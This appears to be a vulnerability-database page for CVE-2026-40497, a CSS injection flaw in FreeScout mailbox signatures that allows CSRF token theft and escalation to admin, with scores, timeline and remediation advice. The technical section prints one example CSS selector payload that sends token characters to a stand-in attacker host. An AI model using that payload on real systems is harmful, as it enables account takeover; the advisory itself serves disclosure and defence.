What is the CVSS score of CVE-2026-40497?

CVE-2026-40497 has a CVSS 3.1 base score of 8.1 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N. EPSS exploitation probability: 0.0%.

Which versions of Freescout are affected by CVE-2026-40497?

FreeScout versions before 1.8.213 contain a CSS injection vulnerability in mailbox signatures that allows authenticated agents to steal CSRF tokens and escalate privileges to administrator level.. A patch is available.

How to fix or mitigate CVE-2026-40497?

Within 24 hours: Inventory all FreeScout instances and identify versions below 1.8.213; restrict mailbox signature editing permissions to administrators only. Within 7 days: Apply vendor patch to upgrade FreeScout to version 1.8.213 or later across all deployments. Within 30 days: Conduct audit of mailbox signatures created in affected versions for injected CSS; review administrative account creation logs for unauthorized entries; reset CSRF tokens organization-wide and enforce multi-factor authentication on all admin accounts.

Freescout CVE-2026-40497

EUVD-2026-24052 HIGH

Cross-site Scripting (XSS) (CWE-79)

2026-04-21 GitHub_M

XSS Privilege Escalation CSRF Freescout

8.1

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

8.1 HIGH

AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Attack Vector

Network

Attack Complexity

Low

Privileges Required

High

User Interaction

Required

Scope

Changed

Confidentiality

High

Integrity

High

Availability

None

Lifecycle Timeline

Patch released

Apr 23, 2026 - 16:32 nvd

Patch available

Analysis Updated

Apr 21, 2026 - 14:29 vuln.today

v3 (cvss_changed)

Patch available

Apr 21, 2026 - 05:01 EUVD

Analysis Updated

Apr 21, 2026 - 03:27 vuln.today

v2 (cvss_changed)

Re-analysis Queued

Apr 21, 2026 - 03:22 vuln.today

cvss_changed

Analysis Generated

Apr 21, 2026 - 02:55 vuln.today

EUVD ID Assigned

Apr 21, 2026 - 02:45 euvd

EUVD-2026-24052

Analysis Generated

Apr 21, 2026 - 02:45 vuln.today

CVE Published

Apr 21, 2026 - 01:45 nvd

HIGH 8.1

DescriptionGitHub Advisory

FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.213, FreeScout's Helper::stripDangerousTags() removes <script>, <form>, <iframe>, <object> but does NOT strip <style> tags. The mailbox signature field is saved via POST /mailbox/settings/{id} and later rendered unescaped via {!! $conversation->getSignatureProcessed([], true) !!} in conversation views. CSP allows style-src * 'self' 'unsafe-inline', so injected inline styles execute freely. An attacker with access to mailbox settings (admin or agent with mailbox permission) can inject CSS attribute selectors to exfiltrate the CSRF token of any agent/admin who views a conversation in that mailbox. With the CSRF token, the attacker can perform any state-changing action as the victim (create admin accounts, change email/password, etc.) - privilege escalation from agent to admin. This is the result of an incomplete fix of GHSA-jqjf-f566-485j. That advisory reported XSS via mailbox signature. The fix applied Helper::stripDangerousTags() to the signature before saving. However, stripDangerousTags() only removes script, form, iframe, and object tags - it does NOT strip <style> tags, leaving CSS injection possible. Version 1.8.213 contains an updated fix.

AnalysisAI

CSS injection in FreeScout mailbox signatures enables CSRF token exfiltration and privilege escalation from authenticated agents to administrators. The vulnerability exists in FreeScout versions prior to 1.8.213 where incomplete input sanitization fails to strip <style> tags from mailbox signature fields. Attackers with mailbox configuration access leverage CSS attribute selectors to steal CSRF tokens from viewing users, then perform arbitrary state-changing actions including admin account creation. EPSS data not available; no confirmed active exploitation (CISA KEV absent). Vendor patch released in version 1.8.213 with complete fix addressing previous incomplete remediation (GHSA-jqjf-f566-485j).

Technical ContextAI

FreeScout is a PHP-based open-source help desk system with shared mailbox functionality (cpe:2.3:a:freescout-help-desk:freescout). The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation) in the Helper::stripDangerousTags() sanitization function. This function removes <script>, <form>, <iframe>, and <object> tags but omits <style> tags. Mailbox signatures are saved via POST /mailbox/settings/{id} and rendered server-side using Laravel Blade syntax {!! $conversation->getSignatureProcessed([], true) !!} without HTML escaping. The application's Content Security Policy permits 'unsafe-inline' for style-src, allowing injected CSS to execute. CSS attribute selectors (e.g., input[name^='_token'][value^='a'] { background: url(//attacker.com?a); }) can be weaponized to exfiltrate CSRF tokens character-by-character through external resource requests, enabling Cross-Site Request Forgery attacks that bypass Same-Origin Policy protections.

RemediationAI

Upgrade FreeScout to version 1.8.213 or later immediately, which contains comprehensive fix via commit 5aa8d633216f65995e80a7d4a921b784acc94df4 (https://github.com/freescout-help-desk/freescout/commit/5aa8d633216f65995e80a7d4a921b784acc94df4). Release details at https://github.com/freescout-help-desk/freescout/releases/tag/1.8.213. If immediate upgrade is not feasible, implement compensating controls: (1) Restrict mailbox settings access to only fully-trusted administrators via role-based access controls, removing this permission from agent roles (trade-off: reduces operational flexibility). (2) Implement Web Application Firewall rules to block <style> tags in POST requests to /mailbox/settings/* endpoints (trade-off: may cause false positives if legitimate styling is needed, requires WAF infrastructure). (3) Modify Content Security Policy to remove 'unsafe-inline' from style-src directive and use nonce-based CSP (trade-off: requires application code changes to add nonces to legitimate inline styles, potentially breaking existing functionality). (4) Deploy network egress monitoring to detect CSS exfiltration attempts via unusual external resource requests from authenticated sessions (trade-off: generates alert fatigue, requires SIEM correlation). Patch is strongly preferred as workarounds significantly impact usability.